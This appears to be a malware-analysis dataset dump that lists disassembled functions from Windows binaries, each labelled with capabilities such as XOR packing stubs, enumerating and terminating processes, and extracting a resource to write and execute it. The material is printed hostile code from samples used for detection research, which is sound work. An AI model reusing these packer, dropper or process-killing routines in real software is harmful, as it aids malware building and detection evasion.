joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44484c
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x453f30
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x52fbcc], 0xffffffff
or dword [0x52fbd0], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x52fbc8]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x52fbc4]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x52fbd4], eax
call fcn.00444c81
cmp dword [0x52b060], 0
jne 0x4448cf
push 0x444c7e
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00444c6c
push 0x45500c
push 0x455008
call sub.MSVCRT.dll__initterm
mov eax, dword [0x52fbc0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x52fbbc]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x455004
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401458
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0xdec7dfe
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..text_1
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x75a06fe5
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4084f0
Capabilities:
Get system information on windows

Disassembly:
push 0xffffffffffffffff
push 0x41d918
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
mov al, byte [esp + 0x48]
push ebx
push ebp
push esi
push edi
mov byte [esp + 0x14], al
mov edi, 0x4033f0
or ecx, 0xffffffff
xor eax, eax
xor ebx, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 1
mov ebp, ecx
lea ecx, [esp + 0x18]
push ebp
mov dword [esp + 0x18], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call fcn.0040cd20
test al, al
je 0x40856a
mov edi, dword [esp + 0x18]
mov ecx, ebp
mov edx, ecx
mov esi, 0x4033f0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
call fcn.0040cd00
push 0x4033dc
push 0x4033d0
mov dword [esp + 0x58], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x408592
lea ecx, [esp + 0x24]
push ecx
call eax
jmp 0x40859d
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ax, word [esp + 0x24]
cmp ax, 9
je 0x4085ae
cmp ax, 6
jne 0x4085f3
mov edi, 0x4033cc
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x18]
push ebp
call fcn.0040cd20
test al, al
je 0x4085f3
mov edi, dword [esp + 0x18]
mov ecx, ebp
mov eax, ecx
mov esi, 0x4033cc
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0x1c], ebp
mov byte [ecx + ebp], bl
mov esi, dword [esp + 0x58]
mov dl, byte [esp + 0x14]
lea ecx, [esp + 0x14]
mov byte [esi], dl
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov eax, dword [0x407740]
push eax
push ebx
push ecx
mov ecx, esi
call fcn.0040c540
mov ecx, dword [esp + 0x18]
cmp ecx, ebx
je 0x40863d
mov al, byte [ecx - 1]
cmp al, bl
je 0x408633
cmp al, 0xff
je 0x408633
dec al
mov byte [ecx - 1], al
jmp 0x40863d
dec ecx
push ecx
call fcn.00412d82
add esp, 4
mov ecx, dword [esp + 0x48]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x44
ret

Function at 0x408660
Capabilities:
Check os version
Get system information on windows

Disassembly:
mov eax, dword [0x401080]
sub esp, 0xcc
push 0x4033f4
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 8]
lea edx, [esp]
push ecx
lea ecx, [esp + 8]
push edx
push ecx
call eax
mov eax, dword [esp + 4]
cmp eax, 6
jne 0x4086a4
cmp dword [esp], 3
jne 0x4086bd
mov eax, 1
add esp, 0xcc
ret
cmp eax, 0xa
jne 0x4086bd
mov eax, dword [esp]
test eax, eax
jne 0x4086bd
mov eax, 1
add esp, 0xcc
ret
lea edx, [esp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea eax, [esp + 0x30]
mov dword [esp + 0x30], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4086ee
cmp dword [esp + 0x34], 6
sbb eax, eax
inc eax
add esp, 0xcc
ret
xor eax, eax
add esp, 0xcc
ret
Function at 0x408730
Capabilities:
Create process on windows
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call fcn.00408700
add esp, 4
test eax, eax
je 0x408754
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WinExec]
pop esi
ret

Function at 0x408760
Capabilities:
Get disk information
Get process image filename

Disassembly:
sub esp, 0x114
push ebx
push ebp
push esi
push edi
push 0x105
call fcn.0041537f
mov ebp, eax
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
mov edi, ebp
add esp, 4
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [esp + 0x130]
mov dword [esp + 0x14], ebp
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x1c]
push 0x105
push ecx
push eax
call sub.PSAPI.DLL_GetProcessImageFileNameA
test eax, eax
jne 0x4087cd
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov esi, eax
test esi, esi
jne 0x4087ea
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
lea edi, [esi + 1]
push edi
call fcn.00415371
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebx
and ecx, 3
push esi
rep stosb byte es:[edi], al
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
jne 0x408832
push ebx
call fcn.00412d82
add esp, 4
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
mov ax, word [0x403418]
mov cl, byte [0x40341a]
push 0x104
mov word [esp + 0x14], ax
mov byte [esp + 0x16], cl
call fcn.00415371
mov ebp, dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
add esp, 4
mov esi, eax
mov dl, byte [ebx]
push 0x104
lea eax, [esp + 0x14]
push esi
push eax
mov byte [esp + 0x1c], dl
call ebp
test eax, eax
jne 0x40889e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x4088f0
push esi
call fcn.00412d82
push 1
call fcn.00415371
add esp, 8
mov esi, eax
lea ecx, [esp + 0x10]
push 1
push esi
push ecx
call ebp
test eax, eax
je 0x4088f0
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ecx
push edi
push esi
push edx
call fcn.0041d700
add esp, 0xc
test eax, eax
je 0x4088d4
mov al, byte [ebx]
inc ebx
test al, al
je 0x4088cd
mov cl, byte [ebx]
inc ebx
test cl, cl
jne 0x4088c6
cmp byte [ebx], 0
je 0x4088f0
jmp 0x40885c
mov ecx, dword [esp + 0x14]
lea edx, [esp + edi + 0x1c]
lea eax, [esp + 0x10]
push edx
push eax
push 0x403410
push ecx
call fcn.0041531f
add esp, 0x10
mov edx, dword [esp + 0x18]
push edx
call fcn.00412d82
push esi
call fcn.00412d82
mov eax, dword [esp + 0x1c]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret
Function at 0x40aee0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x14]
push eax
push esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40afa9
lea ecx, [esp + 0x14]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40af99
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
sub esp, 0x128
mov ecx, 0x4a
lea esi, [esp + 0x13c]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00408760
mov edx, dword [esp + 0x268]
mov edi, eax
push edx
push edi
call fcn.0041d7b0
add esp, 0x130
test eax, eax
jne 0x40af7d
mov eax, dword [esp + 0x1c]
push eax
push 0
push 1
call ebx
mov esi, eax
push 0
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.00415431
mov edx, dword [esp + 0x14]
add esp, 4
lea ecx, [esp + 0x14]
push ecx
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40af2f
mov eax, dword [esp + 0x140]
push eax
call fcn.0041549a
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x40b3d0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x401004]
push ebx
push ebp
xor ebp, ebp
push esi
push edi
test eax, eax
je 0x40b3eb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, 1
mov ebx, dword [esp + 0x18]
push 0x4037f8
lea eax, [ebx + 4]
push eax
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x401004], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, ebx
mov esi, dword [esp + 0x14]
shr ecx, 8
mov byte [eax + 1], cl
mov ecx, ebx
mov edx, ebx
lea edi, [eax + 4]
shr ecx, 0x18
shr edx, 0x10
mov byte [eax + 3], cl
mov ecx, ebx
mov byte [eax + 2], dl
mov edx, ecx
shr ecx, 2
mov byte [eax], bl
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
ret

Function at 0x40b4d0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 2
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 8]
mov esi, eax
mov eax, dword [esp + 0xc]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40b51d
push 0x40380c
call fcn.00414d8e
add esp, 4
mov eax, 1
pop esi
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret
Function at 0x40d280
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
push 0x4038c8

Function at 0x40d350
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x41dca8
push eax
mov dword fs:[0], esp
sub esp, 0x1c
lea eax, [esp + 0xc]
push ebx
push ebp
push esi
push edi
push eax
call fcn.004084f0
add esp, 4
mov edx, eax
mov edi, 0x4033cc
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [edx + 8]
not ecx
dec ecx
mov ebp, ecx
mov ecx, eax
cmp eax, ebp
jb 0x40d397
mov ecx, ebp
mov edx, dword [edx + 4]
mov edi, 0x4033cc
mov esi, edx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x40d3ac
sbb edx, edx
sbb edx, 0xffffffff
xor ebx, ebx
cmp edx, ebx
jne 0x40d3c2
cmp eax, ebp
jae 0x40d3bb
or edx, 0xffffffff
jmp 0x40d3c2
xor edx, edx
cmp eax, ebp
setne dl
mov eax, dword [esp + 0x20]
xor ecx, ecx
cmp edx, ebx
mov dword [esp + 0x34], 0xffffffff
sete cl
cmp eax, ebx
mov esi, ecx
je 0x40d3f8
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x40d3ef
cmp al, 0xff
je 0x40d3ef
dec al
mov byte [ecx], al
jmp 0x40d3f8
push ecx
call fcn.00412d82
add esp, 4
cmp esi, ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
je 0x40d41a
call fcn.00408660
test eax, eax
je 0x40d41a
push 0x4038c8
push 0x64
jmp 0x40d421
push 0x4038c8
push 0x65
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x40d4b3
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edx, dword [esp + 0x3c]
push ebx
push 2
push 2
push ebx
push ebx
push 0x40000000
push edx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40d4b3
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push ebx
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x14]
push ebp
push ecx
mov dword [esp + 0x1c], ebx
call fcn.00412cd0
mov esi, eax
add esp, 0xc
cmp esi, ebx
je 0x40d4b3
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push ebx
push edx
push eax
push esi
push edi
mov dword [esp + 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call fcn.00415431
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x28
ret
Function at 0x40d5f0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40d6b5
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40d6b5
mov ebp, dword [esp + 0x13c]
sub esp, 0x128
mov ecx, 0x4a
lea esi, [esp + 0x138]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00408760
mov esi, eax
push ebp
push esi
call fcn.0041d7b0
add esp, 0x130
test eax, eax
je 0x40d68b
push esi
call fcn.00415431
add esp, 4
lea edx, [esp + 0x10]
push edx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40d63a
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
mov eax, dword [esp + 0x18]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.00415431
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x405c8c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422aa4], 0
push esi
jne 0x405cc3
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405c9d
mov dword [ecx*4 + 0x422aa0], eax
inc ecx
cmp ecx, 0x100
jl 0x405c98
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405cf4
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422aa0]
xor eax, esi
inc ecx
dec edx
jne 0x405cd6
pop edi
not eax
pop esi
ret 0xc

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2163512a
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x432060
nop
nop
nop
nop
mov eax, section..tls
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2066301f
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x99677c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x9967a3
call fcn.00938d18
mov dword [eax], esi
call fcn.00938d05
push 0x16
pop esi
mov dword [eax], esi
call fcn.0093995a
mov eax, esi
jmp 0x9967f8
test dword [ebp + 0xc], 0xfffffff9
jne 0x996789
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x9967d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00938d2b
pop ecx
call fcn.00938d05
mov eax, dword [eax]
jmp 0x9967f8
test al, 0x10
jne 0x9967f6
test al, 1
je 0x9967f6
test byte [ebp + 0xc], 2
je 0x9967f6
call fcn.00938d18
mov dword [eax], 5
call fcn.00938d05
mov dword [eax], 0xd
jmp 0x9967c7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x430006
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x41de6c6f
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x1ff7595b
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4023e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x418768
push eax
mov eax, dword [esp + 0x10]
mov dword fs:[0], esp
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov dword [ebx + 0x30], eax
mov edi, 0x41f13c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebx + 0x2c], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebx + 0x24]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x44]
push ecx
lea ecx, [ebx + 0x1c]
call fcn.004142b9
mov edx, dword [esp + 0x48]
lea ecx, [ebx + 0x20]
push edx
call fcn.004142b9
mov ax, word [esp + 0x40]
mov ecx, dword [esp + 0x28]
lea edi, [ebx + 4]
mov word [ebx], ax
mov eax, dword [esp + 0x24]
mov edx, edi
mov ebp, dword [esp + 0x38]
mov dword [edx], eax
mov eax, dword [esp + 0x2c]
mov dword [edx + 4], ecx
mov dword [edx + 8], eax
mov eax, dword [esp + 0x30]
mov dword [edx + 0xc], eax
sub eax, ecx
sub eax, ebp
mov ecx, dword [0x41f310]
cdq
idiv dword [esp + 0x34]
mov dword [esp + 0x20], ecx
mov esi, eax
push 0x7d4
lea ecx, [esp + 0x24]
mov dword [esp + 0x1c], 0
call fcn.004145a1
cmp esi, ebp
jge 0x4024b4
mov edx, dword [esp + 0x20]
mov ecx, dword [ebx + 0x30]
push 0
push 0
push edx
call fcn.00412753
imul esi, dword [esp + 0x3c]
mov dword [esp + 0x40], esi
fild dword [esp + 0x40]
fmul qword [0x419800]
call fcn.00404738
mov esi, dword [ebx + 8]
mov ecx, dword [ebx + 0x14]
mov edx, dword [edi]
add esi, eax
add ecx, edx
mov edx, dword [ebx + 0x18]
mov eax, esi
mov dword [ebx + 0xc], ecx
add edx, eax
lea ecx, [esp + 0x20]
mov dword [ebx + 8], esi
mov dword [ebx + 0x10], edx
mov dword [esp + 0x18], 0xffffffff
call fcn.004141c0
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret 0x2c
Function at 0x402b00
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4187fc
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x104
push esi
push edi
mov esi, ecx
call fcn.0041744c
mov eax, dword [eax + 0xc]
push 0x40005
push eax
push 0x85
call dword [sym.imp.WINMM.dll_PlaySoundA]
push 0
lea ecx, [esp + 0x18]
call section..text
lea edi, [esi + 0x42c]
lea ecx, [esp + 8]
push edi
mov dword [esp + 0x118], 0
call fcn.004141ea
mov eax, dword [0x41f310]
mov dword [esp + 0xc], eax
mov eax, dword [esi + 0x420]
mov byte [esp + 0x114], 2
lea ecx, [eax + eax*2]
lea edx, [eax + ecx*4]
movsx eax, word [esi + edx*4 + 0x52c]
cmp eax, 3
ja case.default.0x402b8c
jmp dword [eax*4 + 0x402cc4]
lea eax, [esp + 0x70]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [esp + 0x14]
call fcn.0041099e
jmp case.default.0x402b8c
push edi
lea ecx, [esp + 0xc]
call fcn.004142b9
mov ecx, dword [esi + 0x2d0]
push 0
push 0
push 0x147
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 1
jne 0x402bdd
push str.KDESC_
lea ecx, [esp + 0xc]
call fcn.004144cb
mov eax, dword [esi + 0x420]
lea edx, [eax + eax*2]
lea eax, [eax + edx*4]
lea ecx, [esi + eax*4 + 0x52c]
call fcn.00402510
push eax
lea ecx, [esp + 0xc]
call fcn.004144cb
mov ecx, dword [esp + 8]
push 5
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [esp + 0xc]
mov byte [esp + 0x114], 1
call fcn.004141c0
lea ecx, [esp + 8]
mov byte [esp + 0x114], 0
call fcn.004141c0
lea ecx, [esp + 0x14]
mov dword [esp + 0x114], 0xffffffff
call fcn.0041067c
mov ecx, dword [esp + 0x10c]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x110
ret
push 0xbc6
lea ecx, [esp + 0x10]
call fcn.004145a1
lea edx, [esp + 0xc]
lea eax, [esp + 8]
push edx
lea ecx, [esp + 0x14]
push eax
push ecx
call fcn.0041431e
push eax
lea ecx, [esp + 0xc]
mov byte [esp + 0x118], 3
call fcn.00414269
lea ecx, [esp + 0x10]
mov byte [esp + 0x114], 2
call fcn.004141c0
mov edx, dword [esp + 8]
push 3
push 0
push 0
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp case.default.0x402b8c